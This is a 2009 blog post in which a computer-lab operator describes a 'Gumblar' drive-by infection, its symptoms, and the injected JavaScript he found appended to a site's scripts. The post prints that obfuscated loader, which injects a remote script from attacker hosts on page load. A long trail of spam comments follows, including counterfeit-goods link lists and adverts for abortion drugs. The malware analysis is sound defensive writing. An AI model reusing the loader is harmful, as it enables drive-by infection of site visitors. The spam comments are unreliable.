Thursday, December 24, 2009

"Gumblaroid" Virus

Yesterday my computer lab where I host 5+ workstations has been attacked by a virus which is called "Gumblaroid" as I have figured
out today. To make a long story short - I ended up resurrecting drive C from a backup. I recommend that you check your system for stability at least once a week
 and make a full image of drive C every week. Keep a history of at least few months back.


1. You visit some site (I used FireFox) i.e. - click on a link in email or something like this

2. In about 30-50 seconds you get "You <something> was installed" popup (regular Windows GUI), so the infection has already happened

3. Run "netstat /a" in command prompt - you will see 100s if not more out-bound SMTP-port connections

4. Virus links with core Windows processes so if you run "netstat /a /b" you will see things like "svchost.exe" that create this traffic -

this is because virus has attached as a DLL into legit Windows process.

5. Any attempt from any browser to open Google and search for anything results in a return of a blank page (zero-length HTML content) -

virus blocks TCP/IP inbound from Google search result page (same for Yahoo). You can use other search engines like "" while this happens.

Today I have figured out how I got it, I was served a regular page from a PHP-powered site and a piece of turd has attached itself to the tail of all JavaScripts on the WebServer. This turd has been "sanitized" and is presented below.

This is what was served to me from malevolent site:

/*GNU GPL*/ try{window.onload = function(){var Kjnilav1ca = document.createElement('s@@!@c@!r&)(i##p)&@t)'.replace(/\)|\!|&|\^|\$|@|\(|#/ig, ''));Kjnilav1ca.setAttribute('type', 'text/javascript');Kjnilav1ca.setAttribute('src',  'h(t$(!)t!p#@#(:@$/^&$$^/^&w)e))@l&#^)t#!!)-$d##&e#.@k)a#)i^x(@(@i(()^n!#^.&&c@o$m!.^)g$&)$a)!&#m!((e)(#z!$t&(&$a&&r@&#-$#c)$@o$m@$.^!w$@o@r&!l&@&d)&#m$(u^#s!@!i!&$@c)m^^(a@&g)^&a#&z^!(i!n#)^^e)&.@!^r^u$^:&$8!0()8#!0)!/#$@s)($o)!u(&t$!$)h!@^w()e@s!t!.@@&c)@!^)o&#m&&&$@/!)&s)^o@!!(u)!t^h@$w!)#!e!s&t(#.!@))!c$^o@)m)@@/&&g&#o(o)(^g)&l($)#)e@&^^^.@#c@$(o$^m@#!#/&d@!$i()#s(c@$^u&)s$^!)s^#@)).(!c#$^o#&!m(^$(.$h#^k#/)^1@$&($6!#3$.@!c@#^o)(m$&/('.replace(/\!|\^|&|@|\)|#|\(|\$/ig, ''));Kjnilav1ca.setAttribute('defer', 'defer');Kjnilav1ca.setAttribute('id', 'Z$@7&^q)a$(!5!&9#(w&)#7$e@l^^'.replace(/\)|#|\!|\^|&|@|\(|\$/ig, ''));document.body.appendChild(Kjnilav1ca);}} catch(e) {}

Obviously, different sites have different mutations of the same thing as it uses Regexes to crap-up itself.
Please check this link by Daniel Ansari for info how to remove this infection:


Anonymous said...

You have to express more your opinion to attract more readers, because just a video or plain text without any personal approach is not that valuable. But it is just form my point of view

Anonymous said...

One of my friends already told me about this place and I do not regret that I found this article.

Weiming Zhu said...

ugg boots
air jordan 13
air jordan shoes
beats headphones
bottega veneta outlet
burberry outlet
canada goose outlet
chanel outlet
cheap wedding dresses
coach outlet
dansko outlet
evening dresses
hermes belt
hermes birkin
hermes outlet
juicy couture outlet
kate spade outlet
mbt shoes
michael kors outlet
mizuno running
moncler coats
mulberry outlet
soccer shoes
nike outlet store
the north face outlet
oakley sunglasses
ray ban sunglasses
stuart weitzman boots
surpa sneakers
north face outlet
the north face clearance
the north face jackets
the north face outlet store
north face jackets
the north face uk
tommy hilfiger outlet
tory burch outlet
true religion jeans
vans shoes
ysl outlet

oakleyses said...

kate spade outlet online, nike air max, tory burch outlet online, ugg boots clearance, prada handbags, nike air max, ray ban sunglasses, michael kors handbags, chanel handbags, jordan shoes, nike outlet, longchamp outlet online, gucci handbags, christian louboutin, christian louboutin shoes, burberry outlet online, ugg outlet, oakley sunglasses, louis vuitton outlet, ray ban outlet, nike free, cheap oakley sunglasses, cheap ugg boots outlet, louis vuitton, longchamp outlet, michael kors outlet online, polo ralph lauren outlet, burberry outlet online, christian louboutin outlet, michael kors outlet online, oakley sunglasses, ray ban sunglasses, oakley vault, ugg australia, cheap ugg boots, red bottom shoes, replica watches, michael kors outlet, tiffany and co, tiffany jewelry, louis vuitton outlet online, replica watches, polo ralph lauren, prada outlet, louis vuitton handbags

oakleyses said...

guess pas cher, nike air max, nike roshe run, mulberry uk, coach outlet, true religion outlet, true religion outlet, new balance pas cher, abercrombie and fitch, longchamp, nike air max, scarpe hogan, air max pas cher, sac vanessa bruno, ray ban pas cher, nike roshe, north face, coach purses, burberry pas cher, nike free pas cher, lacoste pas cher, timberland pas cher, coach outlet, michael kors uk, michael kors, nike free, longchamp pas cher, tn pas cher, hollister uk, vans pas cher, true religion jeans, ray ban uk, true religion, michael kors outlet online, north face pas cher, hermes pas cher, air jordan, lululemon outlet online, hollister, michael kors canada, louboutin, nike blazer pas cher, kate spade outlet, coach outlet store online, oakley pas cher, converse pas cher, nike air force, ralph lauren uk, air max, ralph lauren pas cher

oakleyses said...

nike air max, longchamp, new balance outlet, oakley, mcm handbags, nike roshe, ferragamo shoes, nfl jerseys, asics shoes, ralph lauren, celine handbags, mont blanc pens, hollister, s6 cases, baseball bats, soccer jerseys, nike air huarache, p90x workout, hollister clothing store, bottega veneta, giuseppe zanotti, insanity workout, abercrombie and fitch, ghd, iphone cases, valentino shoes, mac cosmetics, herve leger, iphone 6 cases, iphone 5s cases, lululemon outlet, instyler ionic styler, north face jackets, vans outlet, wedding dresses, soccer shoes, north face jackets, jimmy choo shoes, iphone 6s plus cases, birkin bag, beats headphones, timberland boots, nike trainers, iphone 6 plus cases, louboutin, reebok shoes, babyliss, chi flat iron

oakleyses said...

pandora jewelry, swarovski uk, canada goose, moncler outlet, links of london uk, coach outlet, ugg boots, hollister canada, sac lancel, marc jacobs handbags, air max, pandora jewelry, converse, replica watches, vans, wedding dress, uggs outlet, canada goose pas cher, canada goose, uggs canada, louis vuitton uk, moncler, barbour, gucci, supra shoes, moncler outlet, canada goose, canada goose outlet, doke gabbana outlet, moncler, juicy couture outlet, sac louis vuitton, canada goose, canada goose outlet, montre femme, thomas sabo uk, ugg soldes, louis vuitton, louis vuitton pas cher, moncler, swarovski jewelry, michael kors outlet online, louis vuitton canada, barbour jackets, converse shoes, ugg, canada goose outlet, ugg, ray ban, karen millen, moncler

mmjiaxin said...

ferragamo shoes
michael kors outlet
rolex watches outlet
tory burch outlet online
michael kors handbags
coach outlet store
mac cosmetics
michael kors outlet online
wellensteyn outlet
michael kors outlet
canada goose outelt
air max 2014
ray ban,rayban,occhiali ray ban,ray-ban,ray ban occhiali,ray ban sunglasses
woolrich outlet store
fred perry polo shirts
michael kors outlet
tiffany outlet
canada goose jackets
oakley outlet store
mizuno running shoes

方松腾 said...

ugg boots
cheap oakley sunglasses
true religion sale
air jordan 11 free shipping
toms outlet
louis vuitton outlet
michael kors outlet,michael kors outlet online,michael kors,kors outlet,michael kors handbags,michael kors outlet online sale,michael kors handbags clearance,michael kors purses,,michael kors bags,michael kors shoes,michaelkors,cheap michael kors
north face jackets
ferragamo shoes
soccer jerseys,soccer jerseys wholesale,soccer jerseys cheap,soccer jerseys for sale,cheap soccer jersey,usa soccer jersey,football jerseys
ugg boots on sale
vans sneakers
oakley sunglasses
fitflops outlet
coach outlet online,coach purses,coach handbags,coach bags,coach handbags sale,coach handbags outlet

Cran Kate said...

Tory Burch Flats Marc Jacobs Handbags Jimmy Choo Shoes Jimmy Choos True Religion Outlet ED Hardy Outlet
Burberry Belt Tory Burch Boots Louis Vuitton Belt Ferragamo Belt Marc Jacobs Handbags Lululemon Outlet Christian Louboutin Shoes True Religion Outlet Tommy Hilfiger Outlet
Michael Kors Outlet Coach Outlet Red Bottoms Kevin Durant Shoes New Balance Outlet Adidas Outlet Coach Outlet Online Stephen Curry Jersey Vans Outlet Ralph Lauren Outlet
Ugg Boots Sale UGGS For Women Skechers Go Walk Adidas Yeezy Boost Adidas Yeezy Adidas NMD Coach Outlet North Face Outlet Ralph Lauren Outlet Puma Outlet Polo Outlet

Outlet Wade said...

christian louboutin store red bottom shoes christian louboutin christian louboutin outlet red bottoms shoes on sale mizuno wave prophecy 3 authentic christian louboutin outlet fitflop outlet cheap mbt shoes fitflops sale mbt shoes sale mizuno running shoes mbt shoes for men cheap ray ban sunglasses cheap oakley sunglasses ray ban sunglasses outlet Ray Ban Wayfarer oakley sunglasses outlet ray ban online new jordans cheap jordan shoes Cheap Nike Air Max Cheap Jordans nike free 5.0 Nike Outlet

chenlina said...

ugg boots paris
louis vuitton outlet
minnesota vikings jerseys
coach outlet
washington wizards jerseys
fitflops sale clearance
ray ban sunglasses
cheap oakley sunglasses
ugg boots
oakley sunglasses

chenlina said...

michael kors outlet
ugg outlet
ray bans
fitflop shoes
seattle seahawks jerseys
cheap ray ban sunglasses
kate spade outlet
los angeles clippers jerseys
adidas outlet
oakley sunglasses

cara menggugurkan kandungan said...

This blog is so nice to me. I will continue to come here again and again. Visit my link as well. Good luck obat aborsi cara menggugurkan kandungan obat aborsi cara menggugurkan kandungan obat telat datang bulan jual obat aborsi obat penggugur kandungan tanda tanda kehamilan cara menggugurkan kandungan

GIL BERT said...

adidas nmd
philadelphia eagles jerseys
patriots jerseys
ed hardy clothing
omega watches for sale
coach handbags
detroit lions jerseys
cheap ray bans
ecco shoes
chicago bulls jersey

John said...

coach outlet online
tods outlet
columbia outlet
nike air max 95
coach outlet online
pandora jewelry store
coach handbags outlet
coach factory outlet online
kate spade outlet online
nike air max

qqq said...

michael kors outlet store
jimmy choo
kate spade handbags
yeezy boost
pandora jewelry
ultra boost
pandora jewelry
louboutin chaussures
under armour shoes
coach factory outlet

Avijeh Reportage said...

بخواهیم بگوییم، پکیج دیواری یک نعمت بزرگ برای شماست تا با استفاده از آن از

Avijeh Reportage said...

Airplanes News
i agree too

Avijeh Reportage said...

قسمت‌های ساخته شده تابلو روان LED، مجموعه‌ای از دیودهای نورانی می باشند که در یک صفحه به گونه ای ماتریسی قرار داده شده‌اند و توسط نوعی برنامه رایانه‌ای نوشته‌ها، تصاویر، کلیپ‌های ویدیویی و... روی آن قابل نمایش خواهد بود. شاید بسیاری از تابلوهای روان را دیده باشید که در سطح شهرها و برای تبلیغات محصولات مختلف و یا تبلیغات فرهنگی و... از آن ها استفاده می شود. جالب است بدانید که بارزترین مشخصه تابلو روان LED جذابیت، عمر طولانی قطعات، قیمت کمتر نسبت به دیگر محصولات تبلیغاتی و پر بازده بودن آن است، نقش این تابلوها در تغییر رونق کسب و کار و تبلیغات این روزها انکار ناپذیر است. تابلوهای پیام نمای LED روان امروزه به عنوان ابزار اطلاع‌رسانی در اکثر مکان‌ها از جمله سر درب فروشگاه‌ها، مغازه‌ها، جایگاه‌های سوخت، رستوران‌ها، مجتمع‌های تجاری، فضای داخلی نمایشگاه‌ها، سالن‌های انتظار بیمارستان‌ها و درمانگاه‌ها، سالن‌های و مجموعه‌های ورزشی و فرودگاه‌ها و... استفاده می‌شود.

Love Kpop said...

It seems I'm on the right track, I hope I can do well. The result was something I did and was doing to implement it.

Bahareh Sarmast said...

تابلوهای روان با رنگ های درخشان، تیرهای چراغ برق با پروژکتورهای LED که تاریکی شب را از بین می برند و... را مشاهده کنید؛ به مجموعه موارد ذکر شده میتوان نام مبلمان شهری یا المان های شهری را اطلاق کرد. اما مبلمان شهری چه رابطه ای با فرهنگ جوامع دارند؟ آیا مبلمان های شهری را می توان بخشی از پیشرفت یک جامعه در حوزه تکنولوژی یا اقتصادی دانست؟

مبلمان شهری باید در شهرها وجود داشته باشند یا عدم وجود آنها نیز چندان ضرری به نگاه کلی شهرها نمی رساند؟ مدرن ترین و زیباترین شهرهای جهان در حوزه مبلمان شهری از چه المان ها و ویژگی های بصری سود می برند؟ آیا می توان نمای ظاهری هر شهر را به نوعی برگرفته از سبک زندگی افراد آن جامعه دانست؟ ما امروز در پاتوق قصد داریم به بررسی نقش پروژکتورهای LED بعنوان یک المان شهری بپردازیم.

اما می رسیم به بزرگترین مزیت های پروژکتورهایی که حالا تاریکی شهرها را برای ما بی معنی کرده اند. بزرگترین مزیت پروژکتور LED دوره لامپ آن ها است. LED ها حداقل ۱۰ برابر بیش تر از لامپ های پروژکتورهای مرسوم دهر می کنند. بسیاری از پروژکتورهای LED می توانند تا ۱۰،۰۰۰ ساعت یا بیشتر کار کنند. از آنجایی که دوره لامپ های ال ای دی به اندازه ذات پروژکتور است، در نتیجه لازم نیست که در مورد خرید لامپ هان جدید هیبت و رجا داشته باشید.
در پایان باید این نکته را هم مورد توجه قرار دهیم که برای کنترل شمار زیادی از این المان های همگام با تکنولوژی دیگر نیازه به تحمل سختی های گذشته نیست و حالا می توان با دانلود نرم افزارهای تابلو روان، نرم افزارهای تلویزیون شهری، نرم افزارهای پروژکتورها و نصب آن بر روی گوشی های مختلف همراه نسبت به کنترل از راه دور این المان ها نظیر پروژکتورهای ال ای دی اقدام کرد.

Bahareh Sarmast said...

بیل گیتس: هر فردی به یک کوچ (مربی) نیاز دارد. همه ما به افرادی نیاز داریم تا به ما بازخورد بدهند تا ما عملکردمان را بهبود ببخشیم. یکی از بنیانگذاران شرکت های بزرگ در دنیا در خاطرات خود درباره کوچینگ می گوید: زمانی که در حال ساخت اولین شرکتم بودم، متوجه شدم که بزرگترین محدودیت در رشد شرکتم، رشد شخصی من به عنوان پایهگذار و مدیرعامل است. بنابراین یک کوچ استخدام کردم. طی ماهها، ده کوچ مرا برای برنامههای توسعه استراتژیک، حیات بخشیدن به ارزشهای شرکت، کار از طریق موقعیتهای بین فردی پراسترس یاری کردند و من در بسیار قاطعتر و مصممتر شدم که ارزشش برای من غیرقابل وصف است

کوچینگ شبیه به راهنمای روانشناسی نبوده با مشاوره نیز فرق دارد. کوچینگ و مشاوره دو رشته کاملا متفاوت با شیوه ها و اهداف گوناگون هستند. مشاور، متخصصی است در رشته مربوط به خودش؛ در حالی که یک کوچ متخصص در کوچینگ است و نیازی به تخصص در رشته های دیگر ندارد و از آنجایی که مهارت های کوچینگ از قابلیت انتقال بالایی برخوردار است، توانایی انجام کوچینگ برای تمامی مشاغل و بخش های دیگر نیز بسیار ارزشمند خواهد بود. کوچینگ چیست فرآیندی روبه رشد است کوچ ها، روزانه با چالش های زیادی مواجه می شوند، شیوه ای جهت پیشرفت مداوم و تجربه ارزشمندی از فراگیری برای کوچ ها از طریق درس گرفتن از اشتباهات است. برقراری رابطه به صورت تمام و کمال و ماهرانه، ویژگی است که اکثر کوچ های موفق از آن برخوردارند، بسیاری از کوچ ها برای یادگیری و تسلط پیدا کردن روی این قابلیت های مهم ارتباطی، از شیوه ها و اصول مربوط به برنامه ریزی های عصبی زبان شناختی بهره می برند. رسیدن به اهداف شرکت ها و سازمان ها بستگی به توانایی مدیران و کارکنان در انجام وظایف محوله و انطباق با محیط متغیر دارد، اجرای آموزش زبان شناختی و برنامه ریزی های عصبی سبب می شود تا افراد بتوانند به طور موثر فعالیت هایشان را ادامه داده و بر کارایی خود بیافزایند.

Bahareh Sarmast said...

راه های بسیاری برای سفر به ترکیه می باشد که دو نمونه از آنها را می توان سفر با اتوبوس و سفر با قطار دانست. در این پست به مقایسه سفر با اتوبوس و قطار به ترکیه خواهیم پرداخت تا بتوانید به برسی معایب و مضایای این دو نوع سفر دستیابی پیدا کنید. با سایت مجله توریست همراه باشید
استفاده از بلیط قطار برای سفر به ترکیه یکی تز موارد مورد بحث این پست می باشد . با ما همراه باشید.
به مدت ۳ ماه در ترکیه اقامت کند.فاصله ۲۰۰۰ کیلو متری تهران به استانبول را با اتوبوس های شرکتهای سیر و سفر ، همسفر، گیتی پیما و بازهم اتومبیل ویژه محرمانه می توان طی کرد. ی است. امروزه شما می توانید برای هر مقصدی به صورت آنلاین از طریق وبسایت هایی نظیر در بیشتر روز های سال (به جز ایام عید و ) بلیط اتوبوس خود را تهیه کنید که در مقایسه با بلیط قطار، در دسترس تر نیز می باشد. به همین ترتیب در صورت عدم توان تهیه بلیط اتوبوس

Cytotec said...

nice more info

Cytotec said...

good luck nice article

Obat Telat Datang Bulan said...

jual cytotec

Fahrezy agra said...

If you have a history of illness that is difficult to recover, maybe our next article will help you to recover

Walatra Berry Jus
Walatra sehat mata
Qnc jelly gamat
Obat gatal untuk kelamin
Cara mengatasi infeksi jamur

airplaneeee said...

لندن، پایتخت انگلستان یکی از بزرگترین، پر ترددترین و معروف ترین فرودگاه های جهان به نام هیثرو (یا هیترو) را در اختیار دارد؛ فرودگاهی که همواره از آن بعنوان یکی از برترین فرودگاه های سراسر جهان نام برده می‌شده است. در ادامه در معرفی معرفی فرودگاه هیثرو با ما همراه باشید.
در ادامه با معرفی فرودگاه بین المللی ابوظبی با ما همراه باشید.
هواپیمای بوئینگ 737 یکی از هواپیما های این شرکت بزرگ است که ویژگی های خاصی دارد. برای اطالاعات بیشتر در مورد معرفی کامل هواپیمای بوئینگ 737 با ما همراه باشید.
در این مقاله قصد داریم تا در مورد هواپیمایی نسیم و هر آنچه باید در مورد آن بدانید بنویسیم. با معرفی هواپیمایی نسیم همراه باشید
عضویت در مجامع معتبر هوایی جهان مانند یاتا، گسترش شبکه پروازی، ساخت آشیانه ها، جذب و آموزش نیروی متخصص، نرخ صعودی جا به جایی مسافر و ساخت کارگاه های متعدد مهندسی تعمیرات از جمله نتایج مهمی هستند که معرفی هواپیمایی آسمان با توجه به 2 هدف اصلی خود به آن ها دست پیدا کرده است

airplaneeee said...

کشور فرانسه دارای معرفی فرودگاه بین المللی بوردو خواهیم پرداخت. در این مقاله قصد داریم با معرفی فرودگاه بین المللی وارنا در مورد تاریخچه و در ادامه در این مقاله به معرفی شرکت هواپیمایی تابان خواهیم پرداخت. هواپیمایی تابان در را در کشورمان انجام می دهد.هواپیمایی ایرباس A310 – 1 فروند. هواپیمایی بوئینگ B737 – 1 فروند پروازهای هواپیمایی تابان به تبعیت از قوانین یاتا، با هواپیماهای این ایرلاین را دارند، مستلزم رعایت دستوراتی هستند

airplaneeee said...

ایرباس A300 هواپیمای جت از گروه هواپیماهای ایرباس می‌باشد. در ایران نیز هواپیمای ایرباس A300 یکی از خرید‌های ایران‌ایر که اولین پرواز را در سال 1393 انجام داده . ایران ایر معمولا پروازهای خارجی را با ایرباسA300 انجام می‌دهد. ایرلاینی که بیشترین تعداد ایرباس در ایران دارد هواپیمایی ماهان با 14 فروند هواپیما است. هواپیمایی ایر قشم نیز 5 فروند از هواپیمای ایرباس A330 را در خط هوایی خود دارد. مدل‌های زیاد دیگری پس از آن ساخته شد که a320 یکی از این مدل‌ها بود. در ادامه در مطلب معرفی هواپیمای ایرباس A318

airplaneeee said...

سلام. وقت همه تون بخیر. دوست دارین با هرآنچه درباره هواپیمایی ماهان لازمه آشنا بشین؟ یا مثلا نظرتون درباره آشنایی کامل با هواپیمای بوئینگ 737 چیه؟ یا من خودم پیشنهاد میدم حتما مقاله هواپیمایی ماهان، هرآنچه باید بدانید، و البته توصیه می کنم هواپیمایی امارات، از بزرگترین ایرلاین های دنیا را هم حتما مطالعه کنید.


راستی در مورد فرودگاه بین المللی دبی هم اگر دوست دارید بیشتر بدونید بازم روی airplanes news حساب کنید. درضمن تو ایرلاین های ایرانی هواپیمایی قشم ایر، ایرلاینی بلندپرواز رو هم بشناسید بد نیست. راستی درمورد هواپیمایی تابان چه میدانید؟ و البته باید بگم که برای آشنایی با هواپیمای ایرباس A350 هم مقاله ما رو بخونید بهتره...

Pengobatan Herbal Penyakit Rematik said...

Thank you for sharing the full text. And allow me to share any posts that contain this health information. I believe this is useful for us. Thank you :)

Obat Pelancar Haid paling Ampuh
Cara Menghilangkan Bopeng Bekas Jerawat
Cara Membersihkan flek di Paru-paru
Obat Herbal Walatra Berry Jus
Cara Mengobati Telapak Kaki Berlubang
Obat Koreng Bernanah Alami

gastrul said...

Thank you for sharing.........

Lutfi Kurniawan said...

This article is very interesting and very understandable to read. sorry beforehand, please let me share this article

Cara Mudah Mengobati Prurigo
Biaya Operasi Benjolan Di Leher Akibat Kelenjar Getah Bening
Cara Mengobati Cacar Air Agar Cepat Kering Dan Sembuh Tanpa Bekas

Andriod Apps Download said...

The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades
The Elder Scrolls Blades
Download The Elder Scrolls Blades

Andriod Apps Download said...

Download Mad Rocket Fog Of War
Mad Rocket Fog Of War
Download Mad Rocket Fog Of War
Mad Rocket Fog Of War
Download Mad Rocket Fog Of War
Mad Rocket Fog Of War
Download Mad Rocket Fog Of War
Mad Rocket Fog Of War
Download Mad Rocket Fog Of War
Mad Rocket Fog Of War
Download Mad Rocket Fog Of War
Mad Rocket Fog Of War